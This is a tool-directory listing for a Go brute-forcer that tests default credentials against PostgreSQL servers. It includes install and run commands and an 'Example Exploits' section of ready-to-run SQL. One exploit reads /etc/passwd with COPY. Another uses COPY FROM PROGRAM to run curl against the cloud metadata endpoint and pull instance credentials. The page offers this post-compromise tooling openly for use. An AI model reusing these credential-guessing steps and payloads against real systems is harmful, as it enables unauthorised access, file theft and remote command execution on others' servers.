Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
postgres-bruteforcer — This tool takes a list of default creds and tests it against a postgresql server and logs any that work and the databases it has access to. | Kitploit
Tools/GitHubGitHub/randomrobbiebf/postgres-bruteforcer
Password AttacksExploitationPenetration TestingAuthenticationDatabase Security
GitHubrandomrobbiebf/postgres-bruteforcer

postgres-bruteforcer

This tool takes a list of default creds and tests it against a postgresql server and logs any that work and the databases it has access to.

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
223 years agoNot yet reviewed

postgres-bruteforcer

About

This Go script reads a list of usernames and passwords from a file called creds.txt and tests them against a PostgreSQL database.

The script accepts an IP of the PostgreSQL server as a command line argument or a text file of ip's.

If an access is granted, the script writes this output to a file called pg-output.txt.

If the user postgres is avalible this is normally a super user which can allow RCE or LFI or SSRf.

How to install

root@kitploit:~
go install -v github.com/RandomRobbieBF/postgres-bruteforcer@latest

How to run

root@kitploit:~
go run postgres-brute.go 1.1.1.1

postgres

Example Exploits

Grab /etc/passwd/

root@kitploit:~
CREATE TABLE myfile (input TEXT);
COPY myfile FROM '/etc/passwd';
SELECT input FROM myfile;

SSRF - Grab AWS Metadata

root@kitploit:~
CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://169.254.169.254/latest/meta-data/';
SELECT weather_json FROM weather_json;
Download Tool